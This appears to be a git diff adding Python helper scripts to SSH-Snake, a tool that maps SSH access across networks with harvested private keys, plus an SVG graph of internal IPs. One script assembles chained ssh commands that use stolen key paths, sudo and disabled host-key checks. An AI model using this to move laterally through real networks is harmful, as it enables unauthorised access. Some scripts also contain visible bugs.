<text font-size="8" x="127.504524" y="-116.44973" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.240.60.82">
10.240.60.82
</text>
<text font-size="8" x="-126.32042" y="319.81503" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.184.80.138">
10.184.80.138
</text>
<text font-size="8" x="-914.71735" y="-626.3761" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.69.109.142">
10.69.109.142
</text>
<text font-size="8" x="274.4619" y="-212.62132" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.186.116.235">
10.186.116.235
</text>
<text font-size="8" x="-1133.9216" y="-447.5484" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.113.209.84">
10.113.209.84
</text>
<text font-size="8" x="-183.84555" y="-48.005146" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.174.159.88">
10.174.159.88
</text>
<text font-size="8" x="143.55443" y="-304.3261" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.86.156.205">
10.86.156.205
</text>
<text font-size="8" x="-754.3593" y="-473.2961" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.70.22.254">
10.70.22.254
</text>
<text font-size="8" x="44.872112" y="222.98532" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.162.69.9">
10.162.69.9
</text>
<text font-size="8" x="335.88168" y="1.2200675" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.125.149.108">
10.125.149.108
</text>
<text font-size="8" x="-117.06575" y="-164.7968" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.157.253.42">
10.157.253.42
</text>
<text font-size="8" x="-988.3297" y="-327.01263" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.250.138.59">
10.250.138.59
</text>
<text font-size="8" x="-809.252" y="-603.9733" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.69.109.1423">
10.69.109.1423
</text>
<text font-size="8" x="176.41429" y="645.22955" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.159.82.135">
10.159.82.135
</text>
<text font-size="8" x="74.96507" y="789.4585" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.68.62.211">
10.68.62.211
</text>
<text font-size="8" x="290.53528" y="-99.85854" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.97.53.32">
10.97.53.32
</text>
<text font-size="8" x="63.66548" y="490.6305" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.35.238.234">
10.35.238.234
</text>
<text font-size="8" x="-922.6419" y="-219.21854" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.22.93.103">
10.22.93.103
</text>
<text font-size="8" x="-126.31904" y="209.26042" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.21.187.33">
10.21.187.33
</text>
<text font-size="8" x="-812.5034" y="-293.1399" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.233.85.112">
10.233.85.112
</text>
<text font-size="8" x="189.27745" y="-7.945777" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.181.108.77">
10.181.108.77
</text>
<text font-size="8" x="-325.48346" y="270.738" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.68.193.47">
10.68.193.47
</text>
<text font-size="8" x="-309.93167" y="-82.44452" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.126.52.27">
10.126.52.27
</text>
<text font-size="8" x="113.92154" y="161.87804" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.35.183.112">
10.35.183.112
</text>
<text font-size="8" x="-933.77936" y="-511.24072" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.58.74.24">
10.58.74.24
</text>
<text font-size="8" x="-1100.168" y="-334.9167" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.128.212.227">
10.128.212.227
</text>
<text font-size="8" x="664.0369" y="-348.34827" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.86.123.195">
10.86.123.195
</text>
<text font-size="8" x="308.68918" y="708.36835" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.185.110.197">
10.185.110.197
</text>
<text font-size="8" x="205.38934" y="384.1138" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.197.194.62">
10.197.194.62
</text>
<text font-size="8" x="-126.105606" y="-397.96545" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.168.73.201">
10.168.73.201
</text>
<text font-size="8" x="128.5407" y="-214.25156" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.89.231.140">
10.89.231.140
</text>
<text font-size="8" x="238.63768" y="134.8121" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.253.25.71">
10.253.25.71
</text>
<text font-size="8" x="201.52052" y="787.97705" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.199.123.242">
10.199.123.242
</text>
<text font-size="8" x="22.878126" y="-335.34875" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.85.31.233">
10.85.31.233
</text>
<text font-size="8" x="62.358524" y="-182.70302" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_10.94.104.59">
10.94.104.59
</text>
<text font-size="8" x="979.3159" y="-509.62787" fill="#000000"
style="text-anchor: middle; dominant-baseline: central;"
font-family="Arial" class="id_joshua@10.71.99.80">
joshua@10.71.99.80
</text>
</g>
</svg>

After

Width:  |  Height:  |  Size: 42 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.4 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 431 KiB

105
tools/forward-lookup-host.py Executable file
View File

@ -0,0 +1,105 @@
#!/usr/bin/env python3
# <https://github.com/MegaManSec/SSH-Snake>
# By Joshua Rogers <https://joshua.hu/>
# GPL 3, of course.
import re
import heapq
from collections import defaultdict
import argparse
def indirect_get_connected_nodes(graph, interesting_host):
backward_connected_nodes = set()
sentinel = '__SENTINEL__'
backward_heap = [(interesting_host, sentinel)]
while backward_heap:
current_node, parent_node = heapq.heappop(backward_heap)
if current_node not in backward_connected_nodes:
backward_connected_nodes.add(current_node)
if parent_node is not sentinel:
heapq.heappush(backward_heap, (parent_node, sentinel))
if current_node in graph:
for connection in graph[current_node]:
node = connection[4] # Assuming the fifth element in the tuple is the destination host
heapq.heappush(backward_heap, (node, current_node))
return backward_connected_nodes
def build_lookup_table(input_lines, ignore_dest_user):
graph = defaultdict(set)
for line in input_lines:
line = line.strip()
line = re.sub(r"^\[?\d+\]?\s*", "", line)
prev_dest_host = None
if ": " in line or "->[" not in line or not line[-1].isdigit():
continue
pattern = re.compile(r"(\w+)@(\d+\.\d+\.\d+\.\d+)(\[[^\]]+\])->(?=(\w+)@(\d+\.\d+\.\d+\.\d+))")
matches = re.finditer(pattern, line)
for match in matches:
user, host, path, dest_user, dest_host = match.groups()
if host == "(127.0.0.1)" or host == "127.0.0.1":
if prev_dest_host is not None:
host = prev_dest_host
if dest_host == "(127.0.0.1)" or dest_host == "127.0.0.1":
dest_host = host
prev_dest_host = dest_host
else:
prev_dest_host = None
line_to_add = (user, host, path, dest_user, dest_host)
if ignore_dest_user:
graph[host].add(line_to_add)
else:
graph[f"{user}@{host}"].add(line_to_add)
return graph
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Find all of the destinations that a source 'host' or 'user@host' can directly or indirectly access.")
parser.add_argument("--file", help="Path to a file containing the output of SSH-Snake.")
parser.add_argument("--src", help="The host or destination that we are interested in finding out from which other hosts can be connected to. This may either be in the form of 'host' or 'user@host'.")
parser.add_argument("--mode", choices=['directly', 'indirectly'], help="Specify whether to search for directly connected hosts or indirectly connected hosts. Note: 'indirectly' includes 'directly' entries.")
args = parser.parse_args()
file_path = args.file
interesting_host = args.src
mode = args.mode
ignore_dest_user = False
if not any(vars(args).values()) or mode not in ("directly", "indirectly"):
parser.print_help()
exit()
if '@' not in interesting_host:
ignore_dest_user = True
with open(file_path, 'r') as file:
input_lines = file.readlines()
lookup_table = build_lookup_table(input_lines, ignore_dest_user)
if interesting_host in lookup_table:
print(f"{interesting_host} is able to connect {mode} to:\n")
if mode == "indirectly":
result = indirect_get_connected_nodes(lookup_table, interesting_host)
for dest in result:
print(dest)
else:
for entry in lookup_table[interesting_host]:
user, host, path, dest_user, dest_host = entry
print(f"{user}@{host}{path} -> {dest_user}@{dest_host}")
else:
print(f"{interesting_host} cannot connect {mode} to any other destinations.")

115
tools/generate-graph.py Executable file
View File

@ -0,0 +1,115 @@
import argparse
import re
from collections import defaultdict
import networkx as nx
from networkx.drawing.nx_agraph import write_dot
def create_graph_from_edges(lookup_table):
graph = nx.DiGraph()
for source, dest in lookup_table:
graph.add_edge(source, dest)
return graph
def build_lookup_table(input_lines, ignore_dest_user):
lookup_table = set()
for line in input_lines:
line = line.strip()
line = re.sub(r"^\[?\d+\]?\s*", "", line)
if ": " in line or ">" not in line or not line[-2].isdigit() or not line[-1] == ')':
continue
pattern = re.compile(r"(\w+)@\(([\d\.:]+)\)(\[[^\]]+\])->(?=(\w+)@\(([\d\.:]+)\))")
matches = re.finditer(pattern, line)
previous_dest_host = None
for match in matches:
user, host, _, dest_user, dest_host = match.groups()
if host == "(127.0.0.1)" or host == "127.0.0.1":
if prev_dest_host is not None:
host = prev_dest_host
if dest_host == "(127.0.0.1)" or dest_host == "127.0.0.1":
dest_host = host
prev_dest_host = dest_host
else:
prev_dest_host = None
if ignore_dest_user:
target_range = (host, dest_host)
else:
target_range = (f"{user}@{host}", f"{dest_user}@{dest_host}")
lookup_table.add(target_range)
return lookup_table
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Construct a graph file to visualize the relation between servers discovered by SSH-Snake.")
parser.add_argument("--file", help="Path to a file containing the output of SSH-Snake.")
parser.add_argument("--format", help="The format of the graph file to export. The options are gexf or dot.")
parser.add_argument("--with-users", action="store_true", help="Create nodes based on their 'user@host' instead of just 'host'. This setting is optional and not recommended.")
args = parser.parse_args()
if not any(vars(args).values()):
parser.print_help()
exit()
if args.format not in ("gexf", "dot"):
print("Valid options for --format are: gexf or dot")
exit()
with open(args.file, 'r') as file:
input_lines = file.readlines()
ignore_dest_user = True
if args.with_users:
ignore_dest_user = False
lookup_table = build_lookup_table(input_lines, ignore_dest_user)
graph = create_graph_from_edges(lookup_table)
if len(lookup_table) > 500 and args.format == "dot":
print("The list of connections is quite big; YMMV with a .dot file.")
# Set default edge color to green
for edge in graph.edges():
graph.edges[edge]['color'] = '#006400'
# Set default node color to lightgrey.
for node in graph.nodes():
graph.nodes[node]['fillcolor'] = 'lightgrey'
graph.nodes[node]['style'] = 'filled'
# Set any edges that correspond to a dest1 being able to connect to dest2 and backwards (dest1<--->dest2) to red.
for source, dest in graph.edges():
if (dest, source) in graph.edges():
graph.edges[(source, dest)]['dir'] = 'both'
graph.edges[(source, dest)]['color'] = '#CD5C5C'
# Set any node corresponding to a loopback (dest1<--->dest1) to blue
for node in graph.nodes():
if graph.has_edge(node, node) or any((edge[0] == edge[1] == node) for edge in graph.edges()):
graph.nodes[node]['fillcolor'] = '#00BFFF'
output_dot_file_path = "SSHSnake_dot_file.dot"
output_gexf_file_path = "SSHSnake_gexf_file.gexf"
if args.format == "gexf":
nx.write_gexf(graph, output_gexf_file_path)
print("Your gexf file has been created in ./sshsnake_gexf_file.gexf")
print("You can now open the file using Gephi.\n")
print("Or you can use Cytoscape! Take a look at GRAPHICS.md")
else:
nx.drawing.nx_pydot.write_dot(graph, output_dot_file_path)
print("Your dot file has been created in ./sshsnake_dot_file.dot.\n")
print("To convert your dot file to a png or svg, use the following command to sample different algorithms available from graphviz:\n")
print("for alg in sfdp fdp circo twopi neato dot; do\n\t$alg -Tpng -Gsplines=true -Gconcentrate=true -Gnodesep=0.1 -Goverlap=false SSHSnake_dot_file.dot -o $alg.png\ndone\n\n")
print("Alternatively, you can just paste the .dot file into https://dreampuf.github.io/GraphvizOnline/ -- if pasting that type of information into your browser is in your threat model...\n\n")
print("Try placing splines=true; concentrate=true; nodesep=0.1; overlap=false; in the file just after the first line, too!")

103
tools/reverse-lookup-host.py Executable file
View File

@ -0,0 +1,103 @@
#!/usr/bin/env python3
# <https://github.com/MegaManSec/SSH-Snake>
# By Joshua Rogers <https://joshua.hu/>
# GPL 3, of course.
import re
import heapq
from collections import defaultdict
import argparse
def indirect_get_connected_nodes(graph, interesting_host):
backward_connected_nodes = set()
sentinel = '__SENTINEL__'
backward_heap = [(interesting_host, sentinel)]
while backward_heap:
current_node, parent_node = heapq.heappop(backward_heap)
if current_node not in backward_connected_nodes:
backward_connected_nodes.add(current_node)
if parent_node is not sentinel:
heapq.heappush(backward_heap, (parent_node, sentinel))
if current_node in graph:
for connection in graph[current_node]:
node = connection[1] # Assuming the second element in the tuple is the source host (so find it as a dest)
heapq.heappush(backward_heap, (node, current_node))
return backward_connected_nodes
def build_lookup_table(input_lines, ignore_dest_user):
graph = defaultdict(set)
for line in input_lines:
line = line.strip()
line = re.sub(r"^\[?\d+\]?\s*", "", line)
prev_dest_host = None
if ": " in line or ">" not in line or not line[-1].isdigit():
continue
pattern = re.compile(r"(\w+)@(\d+\.\d+\.\d+\.\d+)(\[[^\]]+\])->(?=(\w+)@(\d+\.\d+\.\d+\.\d+))")
matches = re.finditer(pattern, line)
for match in matches:
user, host, path, dest_user, dest_host = match.groups()
if host == "(127.0.0.1)" or host == "127.0.0.1":
if prev_dest_host is not None:
host = prev_dest_host
if dest_host == "(127.0.0.1)" or dest_host == "127.0.0.1":
dest_host = host
prev_dest_host = dest_host
else:
prev_dest_host = None
line_to_add = (user, host, path, dest_user, dest_host)
if ignore_dest_user:
graph[dest_host].append(line_to_add)
else:
graph[f"{dest_user}@{dest_host}"].add(line_to_add)
return graph
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Given the address of a destination host, determine how many other hosts can connect directly or indirectly to it. The format of the host to be found must either be 'host' or 'user@host', where 'host' is an IP address.")
parser.add_argument("--file", help="Path to a file containing the output of SSH-Snake.")
parser.add_argument("--dest", help="The host or destination that we are interested in finding incoming connections to. This may either be in the form of 'host' or 'user@host'.")
parser.add_argument("--mode", choices=['directly', 'indirectly'], help="Specify whether to search for directly connected hosts or indirectly connected hosts. Note: 'indirectly' includes 'directly' entries.")
args = parser.parse_args()
file_path = args.file
interesting_host = args.dest
mode = args.mode
ignore_dest_user = False
if not any(vars(args).values()) or mode not in ("directly", "indirectly"):
parser.print_help()
exit()
if '@' not in interesting_host:
ignore_dest_user = True
with open(file_path, 'r') as file:
input_lines = file.readlines()
reverse_lookup_table = build_lookup_table(input_lines, ignore_dest_user)
if interesting_host in reverse_lookup_table:
print(f"The following hosts are able to connect {mode} to {interesting_host}:\n")
if mode == "directly":
for entry in reverse_lookup_table[interesting_host]:
user, host, path, dest_user, dest_host = entry
print(f"{user}@{host}{path} -> {dest_user}@{dest_host}")
else:
result = indirect_get_connected_nodes(reverse_lookup_table, interesting_host)
for entry in result:
print(entry)
else:
print(f"No hosts are able to {mode} connect to {interesting_host}.")

View File

@ -0,0 +1,169 @@
#!/usr/bin/env python3
# <https://github.com/MegaManSec/SSH-Snake>
# By Joshua Rogers <https://joshua.hu/>
# GPL 3, of course.
import re
import heapq
import argparse
class Graph:
def __init__(self):
self.graph = {}
def add_edge(self, start, end):
if start not in self.graph:
self.graph[start] = []
self.graph[start].append(end)
def dijkstra(self, start, end):
heap = [(0, start, [])]
visited = set()
while heap:
(cost, node, path) = heapq.heappop(heap)
if node not in visited:
visited.add(node)
path = path + [node]
if node == end:
return path
for neighbor in self.graph.get(node, []):
if neighbor not in visited:
heapq.heappush(heap, (cost + 1, neighbor, path))
return None
def build_lookup_table(input_lines, ignore_dest_user):
lookup_table = {}
for line in input_lines:
line = line.strip()
line = re.sub(r"^\[?\d+\]?\s*", "", line)
prev_dest_host = None
if ":" in line or ">" not in line or not line[-1].isdigit():
continue
pattern = re.compile(r"(\w+)@(\d+\.\d+\.\d+\.\d+)(\[[^\]]+\])->(?=(\w+)@(\d+\.\d+\.\d+\.\d+))")
matches = re.finditer(pattern, line)
for match in matches:
user, host, path, dest_user, dest_host = match.groups()
if host == "(127.0.0.1)" or host == "127.0.0.1":
if prev_dest_host is not None:
host = prev_dest_host
if dest_host == "(127.0.0.1)" or dest_host == "127.0.0.1":
dest_host = host
prev_dest_host = dest_host
else:
prev_dest_host = None
if ignore_dest_user:
target_range = (host, dest_host)
else:
target_range = (f"{user}@{host}", f"{dest_user}@{dest_host}")
if target_range in lookup_table:
continue
entry = [user, host, path, dest_user, dest_host]
lookup_table[target_range] = entry
return lookup_table
def build_full_path(lookup_table, sequence):
result_str = ""
for i in range(len(sequence)-1):
target_range = (sequence[i], sequence[i+1])
if target_range in lookup_table:
user, host, path, dest_user, dest_host = lookup_table[target_range]
if i == len(sequence)-2:
result_str += f"{user}@{host}{path}->{dest_user}@{dest_host}"
else:
result_str += f"{user}@{host}{path}->"
else:
print(f"Could not find {target_range[0]}->{target_range[1]}")
exit()
result_str = result_str.rstrip("->")
return result_str
def build_cmd(lookup_table, sequence):
result_str = ""
for i in range(len(sequence)-1):
target_range = (sequence[i], sequence[i+1])
if target_range in lookup_table:
user, host, path, dest_user, dest_host = lookup_table[target_range]
path = path.split('[')[1].split(']')[0]
if path[0] == "!":
result_str += "sudo "
path = path[1:]
result_str += f"ssh -t -oIdentitiesOnly=yes -oServerAliveInterval=300 -oTCPKeepAlive=no -oConnectTimeout=5 -oStrictHostKeyChecking=no -oGlobalKnownHostsFile=/dev/null -oUserKnownHostsFile=/dev/null -oBatchMode=yes -i \"{path}\" {dest_user}@{dest_host} '"
else:
print(f"Could not find {target_range[0]}->{target_range[1]}")
exit()
for i in range(len(sequence)-3):
result_str += "'"
result_str = result_str.rstrip("->")
return result_str
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Find the shortest path from host_a to host_b, or user_a@host_a to user_b@host_b. Likewise, create a single command which can be used to ssh from from a to b.")
parser.add_argument("--file", help="Path to a file containing the output of SSH-Snake.")
parser.add_argument("--src", help="The starting host or user@host in the chain.")
parser.add_argument("--dest", help="The ending host or user@host in the chain.")
args = parser.parse_args()
file_path = args.file
host_a = args.src
host_b = args.dest
ignore_dest_user = False
if not any(vars(args).values()):
parser.print_help()
exit()
if '@' not in host_a:
if '@' not in host_b:
ignore_dest_user = True
else:
print("host_a and host_b must be either host_a and host_b, or user_a@host_a and user_b@host_b")
exit()
elif '@' not in host_b:
if '@' in host_a:
print("host_a and host_b must be either host_a and host_b, or user_a@host_a and user_b@host_b")
exit()
with open(file_path, 'r') as file:
input_lines = file.readlines()
lookup_table = build_lookup_table(input_lines, ignore_dest_user)
graph = Graph()
for edge in lookup_table:
graph.add_edge(edge[0], edge[1])
path = graph.dijkstra(host_a, host_b)
if path:
print(f"Shortest path from {host_a} to {host_b}: {'->'.join(path)}\n")
else:
print(f"No path found from {host_a} to {host_b}")
exit()
result_str = build_full_path(lookup_table, path)
print(result_str,"\n")
result_str = build_cmd(lookup_table, path)
print(result_str)